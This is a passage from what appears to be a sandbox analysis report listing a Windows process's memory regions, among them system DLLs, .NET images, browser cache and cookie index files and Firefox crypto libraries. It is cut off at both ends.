	        filename = ""

Region:
	              id = 2445
	        start_va = 0x73b20000
	          end_va = 0x73b7efff
	     entry_point = 0x73b20000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll")

Region:
	              id = 2446
	        start_va = 0x1df0000
	          end_va = 0x1dfefff
	     entry_point = 0x1df0000
	     region_type = mapped_file
	            name = "wbemdisp.tlb"
	        filename = "\\Windows\\SysWOW64\\wbem\\wbemdisp.tlb" (normalized: "c:\\windows\\syswow64\\wbem\\wbemdisp.tlb")

Region:
	              id = 2447
	        start_va = 0x1e00000
	          end_va = 0x1e06fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001e00000"
	        filename = ""

Region:
	              id = 2448
	        start_va = 0x1e50000
	          end_va = 0x1e51fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001e50000"
	        filename = ""

Region:
	              id = 2449
	        start_va = 0x4a90000
	          end_va = 0x4b4ffff
	     entry_point = 0x4a90000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2450
	        start_va = 0x1e60000
	          end_va = 0x1e60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001e60000"
	        filename = ""

Region:
	              id = 2451
	        start_va = 0x1e80000
	          end_va = 0x1e94fff
	     entry_point = 0x1e80000
	     region_type = mapped_file
	            name = "custommarshalers.dll"
	        filename = "\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")

Region:
	              id = 2452
	        start_va = 0x60350000
	          end_va = 0x60364fff
	     entry_point = 0x60350000
	     region_type = mapped_file
	            name = "custommarshalers.dll"
	        filename = "\\Windows\\assembly\\GAC_32\\CustomMarshalers\\2.0.0.0__b03f5f7f11d50a3a\\CustomMarshalers.dll" (normalized: "c:\\windows\\assembly\\gac_32\\custommarshalers\\2.0.0.0__b03f5f7f11d50a3a\\custommarshalers.dll")

Region:
	              id = 2453
	        start_va = 0x71d90000
	          end_va = 0x71dc9fff
	     entry_point = 0x71d90000
	     region_type = mapped_file
	            name = "custommarshalers.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\CustomMarshalers\\bf7e7494e75e32979c7824a07570a8a9\\CustomMarshalers.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\custommarshalers\\bf7e7494e75e32979c7824a07570a8a9\\custommarshalers.ni.dll")

Region:
	              id = 2531
	        start_va = 0x1ea0000
	          end_va = 0x1eaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ea0000"
	        filename = ""

Region:
	              id = 2532
	        start_va = 0x1ef0000
	          end_va = 0x1ef1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001ef0000"
	        filename = ""

Region:
	              id = 2533
	        start_va = 0x1ef0000
	          end_va = 0x1ef3fff
	     entry_point = 0x1ef0000
	     region_type = mapped_file
	            name = "stdole2.tlb"
	        filename = "\\Windows\\SysWOW64\\stdole2.tlb" (normalized: "c:\\windows\\syswow64\\stdole2.tlb")

Region:
	              id = 2534
	        start_va = 0x71c80000
	          end_va = 0x71d83fff
	     entry_point = 0x71c80000
	     region_type = mapped_file
	            name = "system.management.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")

Region:
	              id = 2535
	        start_va = 0x1f60000
	          end_va = 0x1f9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f60000"
	        filename = ""

Region:
	              id = 2536
	        start_va = 0x50b0000
	          end_va = 0x51affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000050b0000"
	        filename = ""

Region:
	              id = 2537
	        start_va = 0x7ef40000
	          end_va = 0x7ef4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef40000"
	        filename = ""

Region:
	              id = 2538
	        start_va = 0x7ef50000
	          end_va = 0x7ef9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef50000"
	        filename = ""

Region:
	              id = 2539
	        start_va = 0x7efa1000
	          end_va = 0x7efa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa1000"
	        filename = ""

Region:
	              id = 2540
	        start_va = 0x5000000
	          end_va = 0x503ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005000000"
	        filename = ""

Region:
	              id = 2541
	        start_va = 0x5230000
	          end_va = 0x532ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005230000"
	        filename = ""

Region:
	              id = 2542
	        start_va = 0x6a310000
	          end_va = 0x6a318fff
	     entry_point = 0x6a310000
	     region_type = mapped_file
	            name = "wminet_utils.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\wminet_utils.dll")

Region:
	              id = 2543
	        start_va = 0x7ef3d000
	          end_va = 0x7ef3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3d000"
	        filename = ""

Region:
	              id = 2544
	        start_va = 0x1f00000
	          end_va = 0x1f00fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001f00000"
	        filename = ""

Region:
	              id = 2545
	        start_va = 0x1f10000
	          end_va = 0x1f1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f10000"
	        filename = ""

Region:
	              id = 2546
	        start_va = 0x48f0000
	          end_va = 0x492ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048f0000"
	        filename = ""

Region:
	              id = 2547
	        start_va = 0x5390000
	          end_va = 0x548ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005390000"
	        filename = ""

Region:
	              id = 2548
	        start_va = 0x7ef3a000
	          end_va = 0x7ef3cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3a000"
	        filename = ""

Region:
	              id = 2549
	        start_va = 0x1fa0000
	          end_va = 0x1fa4fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001fa0000"
	        filename = ""

Region:
	              id = 2550
	        start_va = 0x4400000
	          end_va = 0x443ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004400000"
	        filename = ""

Region:
	              id = 2551
	        start_va = 0x5240000
	          end_va = 0x533ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005240000"
	        filename = ""

Region:
	              id = 2558
	        start_va = 0x1fa0000
	          end_va = 0x1fa2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001fa0000"
	        filename = ""

Region:
	              id = 2559
	        start_va = 0x1fa0000
	          end_va = 0x1fb0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001fa0000"
	        filename = ""

Region:
	              id = 2560
	        start_va = 0x71b80000
	          end_va = 0x71c70fff
	     entry_point = 0x71b80000
	     region_type = mapped_file
	            name = "system.configuration.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuration\\bc09ad2d49d8535371845cd7532f9271\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuration\\bc09ad2d49d8535371845cd7532f9271\\system.configuration.ni.dll")

Region:
	              id = 2561
	        start_va = 0x71640000
	          end_va = 0x71b75fff
	     entry_point = 0x71640000
	     region_type = mapped_file
	            name = "system.xml.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")

Region:
	              id = 2562
	        start_va = 0x4390000
	          end_va = 0x439ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004390000"
	        filename = ""

Region:
	              id = 2563
	        start_va = 0x715c0000
	          end_va = 0x715d4fff
	     entry_point = 0x715c0000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll")

Region:
	              id = 2564
	        start_va = 0x715e0000
	          end_va = 0x71631fff
	     entry_point = 0x715e0000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll")

Region:
	              id = 2565
	        start_va = 0x73a10000
	          end_va = 0x73a1cfff
	     entry_point = 0x73a10000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll")

Region:
	              id = 2566
	        start_va = 0x71580000
	          end_va = 0x715bbfff
	     entry_point = 0x71580000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")

Region:
	              id = 2567
	        start_va = 0x48e0000
	          end_va = 0x492ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048e0000"
	        filename = ""

Region:
	              id = 2568
	        start_va = 0x71570000
	          end_va = 0x71574fff
	     entry_point = 0x71570000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll")

Region:
	              id = 2569
	        start_va = 0x71560000
	          end_va = 0x71565fff
	     entry_point = 0x71560000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll")

Region:
	              id = 2570
	        start_va = 0x43a0000
	          end_va = 0x43bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000043a0000"
	        filename = ""

Region:
	              id = 2571
	        start_va = 0x4f80000
	          end_va = 0x4fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004f80000"
	        filename = ""

Region:
	              id = 2572
	        start_va = 0x5340000
	          end_va = 0x5732fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000005340000"
	        filename = ""

Region:
	              id = 2573
	        start_va = 0x57c0000
	          end_va = 0x58bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000057c0000"
	        filename = ""

Region:
	              id = 2574
	        start_va = 0x714b0000
	          end_va = 0x714fefff
	     entry_point = 0x714b0000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll")

Region:
	              id = 2575
	        start_va = 0x71500000
	          end_va = 0x71557fff
	     entry_point = 0x71500000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")

Region:
	              id = 2576
	        start_va = 0x7ef3a000
	          end_va = 0x7ef3cfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3a000"
	        filename = ""

Region:
	              id = 2577
	        start_va = 0x71490000
	          end_va = 0x714abfff
	     entry_point = 0x71490000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")

Region:
	              id = 2578
	        start_va = 0x71480000
	          end_va = 0x71486fff
	     entry_point = 0x71480000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")

Region:
	              id = 2579
	        start_va = 0x71470000
	          end_va = 0x7147cfff
	     entry_point = 0x71470000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll")

Region:
	              id = 2580
	        start_va = 0x71450000
	          end_va = 0x71461fff
	     entry_point = 0x71450000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll")

Region:
	              id = 2581
	        start_va = 0x71440000
	          end_va = 0x71447fff
	     entry_point = 0x71440000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll")

Region:
	              id = 2582
	        start_va = 0x75840000
	          end_va = 0x75866fff
	     entry_point = 0x75840000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")

Region:
	              id = 2583
	        start_va = 0x5050000
	          end_va = 0x508ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005050000"
	        filename = ""

Region:
	              id = 2584
	        start_va = 0x5940000
	          end_va = 0x5a3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005940000"
	        filename = ""

Region:
	              id = 2585
	        start_va = 0x713f0000
	          end_va = 0x71433fff
	     entry_point = 0x713f0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")

Region:
	              id = 2586
	        start_va = 0x7ef37000
	          end_va = 0x7ef39fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef37000"
	        filename = ""

Region:
	              id = 2587
	        start_va = 0x5a40000
	          end_va = 0x5bcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005a40000"
	        filename = ""

Region:
	              id = 2588
	        start_va = 0x713e0000
	          end_va = 0x713e5fff
	     entry_point = 0x713e0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")

Region:
	              id = 2589
	        start_va = 0x713a0000
	          end_va = 0x713d7fff
	     entry_point = 0x713a0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")

Region:
	              id = 2590
	        start_va = 0x5bd0000
	          end_va = 0x5dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005bd0000"
	        filename = ""

Region:
	              id = 2591
	        start_va = 0x74d50000
	          end_va = 0x74d62fff
	     entry_point = 0x74d50000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")

Region:
	              id = 2592
	        start_va = 0x4e90000
	          end_va = 0x4ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004e90000"
	        filename = ""

Region:
	              id = 2593
	        start_va = 0x5770000
	          end_va = 0x57affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005770000"
	        filename = ""

Region:
	              id = 2594
	        start_va = 0x5e00000
	          end_va = 0x5efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005e00000"
	        filename = ""

Region:
	              id = 2595
	        start_va = 0x5f00000
	          end_va = 0x5ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005f00000"
	        filename = ""

Region:
	              id = 2596
	        start_va = 0x7ef31000
	          end_va = 0x7ef33fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef31000"
	        filename = ""

Region:
	              id = 2597
	        start_va = 0x7ef34000
	          end_va = 0x7ef36fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef34000"
	        filename = ""

Region:
	              id = 2598
	        start_va = 0x71390000
	          end_va = 0x71394fff
	     entry_point = 0x71390000
	     region_type = mapped_file
	            name = "shfolder.dll"
	        filename = "\\Windows\\SysWOW64\\shfolder.dll" (normalized: "c:\\windows\\syswow64\\shfolder.dll")

Region:
	              id = 2599
	        start_va = 0x4400000
	          end_va = 0x4400fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004400000"
	        filename = ""

Region:
	              id = 2600
	        start_va = 0x48e0000
	          end_va = 0x48effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048e0000"
	        filename = ""

Region:
	              id = 2601
	        start_va = 0x48f0000
	          end_va = 0x492ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048f0000"
	        filename = ""

Region:
	              id = 2602
	        start_va = 0x51b0000
	          end_va = 0x51effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000051b0000"
	        filename = ""

Region:
	              id = 2603
	        start_va = 0x6000000
	          end_va = 0x60fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006000000"
	        filename = ""

Region:
	              id = 2604
	        start_va = 0x60340000
	          end_va = 0x60347fff
	     entry_point = 0x60340000
	     region_type = mapped_file
	            name = "culture.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\culture.dll")

Region:
	              id = 2605
	        start_va = 0x7ef3d000
	          end_va = 0x7ef3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef3d000"
	        filename = ""

Region:
	              id = 2606
	        start_va = 0x4400000
	          end_va = 0x4453fff
	     entry_point = 0x4400000
	     region_type = mapped_file
	            name = "mscorrc.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorrc.dll")

Region:
	              id = 2607
	        start_va = 0x4680000
	          end_va = 0x4684fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004680000"
	        filename = ""

Region:
	              id = 2608
	        start_va = 0x4690000
	          end_va = 0x469ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004690000"
	        filename = ""

Region:
	              id = 2609
	        start_va = 0x70910000
	          end_va = 0x7138ffff
	     entry_point = 0x70910000
	     region_type = mapped_file
	            name = "ieframe.dll"
	        filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll")

Region:
	              id = 2610
	        start_va = 0x750f0000
	          end_va = 0x750f4fff
	     entry_point = 0x750f0000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")

Region:
	              id = 2611
	        start_va = 0x708d0000
	          end_va = 0x7090bfff
	     entry_point = 0x708d0000
	     region_type = mapped_file
	            name = "oleacc.dll"
	        filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll")

Region:
	              id = 2612
	        start_va = 0x76c30000
	          end_va = 0x76e2afff
	     entry_point = 0x76c30000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")

Region:
	              id = 2613
	        start_va = 0x46a0000
	          end_va = 0x46a0fff
	     entry_point = 0x46a0000
	     region_type = mapped_file
	            name = "oleaccrc.dll"
	        filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll")

Region:
	              id = 2614
	        start_va = 0x46f0000
	          end_va = 0x46f1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000046f0000"
	        filename = ""

Region:
	              id = 2615
	        start_va = 0x4720000
	          end_va = 0x475ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004720000"
	        filename = ""

Region:
	              id = 2616
	        start_va = 0x70730000
	          end_va = 0x708cdfff
	     entry_point = 0x70730000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")

Region:
	              id = 2617
	        start_va = 0x4700000
	          end_va = 0x4700fff
	     entry_point = 0x4700000
	     region_type = mapped_file
	            name = "windowsshell.manifest"
	        filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")

Region:
	              id = 2618
	        start_va = 0x4710000
	          end_va = 0x4711fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000004710000"
	        filename = ""

Region:
	              id = 2619
	        start_va = 0x70700000
	          end_va = 0x7072dfff
	     entry_point = 0x70700000
	     region_type = mapped_file
	            name = "mlang.dll"
	        filename = "\\Windows\\SysWOW64\\mlang.dll" (normalized: "c:\\windows\\syswow64\\mlang.dll")

Region:
	              id = 2620
	        start_va = 0x74fb0000
	          end_va = 0x750e5fff
	     entry_point = 0x74fb0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")

Region:
	              id = 2621
	        start_va = 0x75320000
	          end_va = 0x7543cfff
	     entry_point = 0x75320000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")

Region:
	              id = 2622
	        start_va = 0x754e0000
	          end_va = 0x755d4fff
	     entry_point = 0x754e0000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")

Region:
	              id = 2623
	        start_va = 0x76920000
	          end_va = 0x7692bfff
	     entry_point = 0x76920000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")

Region:
	              id = 2624
	        start_va = 0x4700000
	          end_va = 0x470bfff
	     entry_point = 0x4700000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 2625
	        start_va = 0x4760000
	          end_va = 0x4767fff
	     entry_point = 0x4760000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 2626
	        start_va = 0x4870000
	          end_va = 0x487ffff
	     entry_point = 0x4870000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 2627
	        start_va = 0x51f0000
	          end_va = 0x52effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000051f0000"
	        filename = ""

Region:
	              id = 2628
	        start_va = 0x70650000
	          end_va = 0x706f9fff
	     entry_point = 0x70650000
	     region_type = mapped_file
	            name = "system.security.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\System.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.security\\d9a485330ec2708456134e4a9712a4ab\\system.security.ni.dll")

Region:
	              id = 2629
	        start_va = 0x4f40000
	          end_va = 0x4f7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004f40000"
	        filename = ""

Region:
	              id = 2630
	        start_va = 0x5c50000
	          end_va = 0x5d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005c50000"
	        filename = ""

Region:
	              id = 2631
	        start_va = 0x5dc0000
	          end_va = 0x5dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005dc0000"
	        filename = ""

Region:
	              id = 2632
	        start_va = 0x70620000
	          end_va = 0x70641fff
	     entry_point = 0x70620000
	     region_type = mapped_file
	            name = "mozglue.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll")

Region:
	              id = 2633
	        start_va = 0x7ef2e000
	          end_va = 0x7ef30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ef2e000"
	        filename = ""

Region:
	              id = 2634
	        start_va = 0x705b0000
	          end_va = 0x70618fff
	     entry_point = 0x705b0000
	     region_type = mapped_file
	            name = "msvcp100.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcp100.dll")

Region:
	              id = 2635
	        start_va = 0x704f0000
	          end_va = 0x705adfff
	     entry_point = 0x704f0000
	     region_type = mapped_file
	            name = "msvcr100.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcr100.dll")

Region:
	              id = 2636
	        start_va = 0x4930000
	          end_va = 0x495ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004930000"
	        filename = ""

Region:
	              id = 2637
	        start_va = 0x5a40000
	          end_va = 0x5b3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005a40000"
	        filename = ""

Region:
	              id = 2638
	        start_va = 0x5b90000
	          end_va = 0x5bcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005b90000"
	        filename = ""

Region:
	              id = 2639
	        start_va = 0x70330000
	          end_va = 0x704e4fff
	     entry_point = 0x70330000
	     region_type = mapped_file
	            name = "nss3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll")

Region:
	              id = 2640
	        start_va = 0x702f0000
	          end_va = 0x70321fff
	     entry_point = 0x702f0000
	     region_type = mapped_file
	            name = "winmm.dll"
	        filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll")

Region:
	              id = 2641
	        start_va = 0x702e0000
	          end_va = 0x702e6fff
	     entry_point = 0x702e0000
	     region_type = mapped_file
	            name = "wsock32.dll"
	        filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll")

Region:
	              id = 2642
	        start_va = 0x6100000
	          end_va = 0x61fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000006100000"
	        filename = ""

Region:
	              id = 2643
	        start_va = 0x702b0000
	          end_va = 0x702d6fff
	     entry_point = 0x702b0000
	     region_type = mapped_file
	            name = "softokn3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\softokn3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\softokn3.dll")

Region:
	              id = 2644
	        start_va = 0x70290000
	          end_va = 0x702a6fff
	     entry_point = 0x70290000
	     region_type = mapped_file
	            name = "nssdbm3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll")

Region:
	              id = 2645
	        start_va = 0x70240000
	          end_va = 0x7028efff
	     entry_point = 0x70240000
	     region_type = mapped_file
	            name = "freebl3.dll"
	        filename = "\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll")

Region:
	              id = 2646
	        start_va = 0x4960000
	          end_va = 0x496ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004960000"
	        filename = ""

Region:
	              id = 2647
	        start_va = 0x70210000
	          end_va = 0x70230fff
	     entry_point = 0x70210000
	     region_type = mapped_file
	            name = "wshom.ocx"
	        filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx")

Region:
	              id = 2648
	        start_va = 0x701f0000
	          end_va = 0x70201fff
	     entry_point = 0x701f0000
	     region_type = mapped_file
	            name = "mpr.dll"
	        filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll")

Region:
	              id = 2649
	        start_va = 0x701c0000
	          end_va = 0x701e9fff
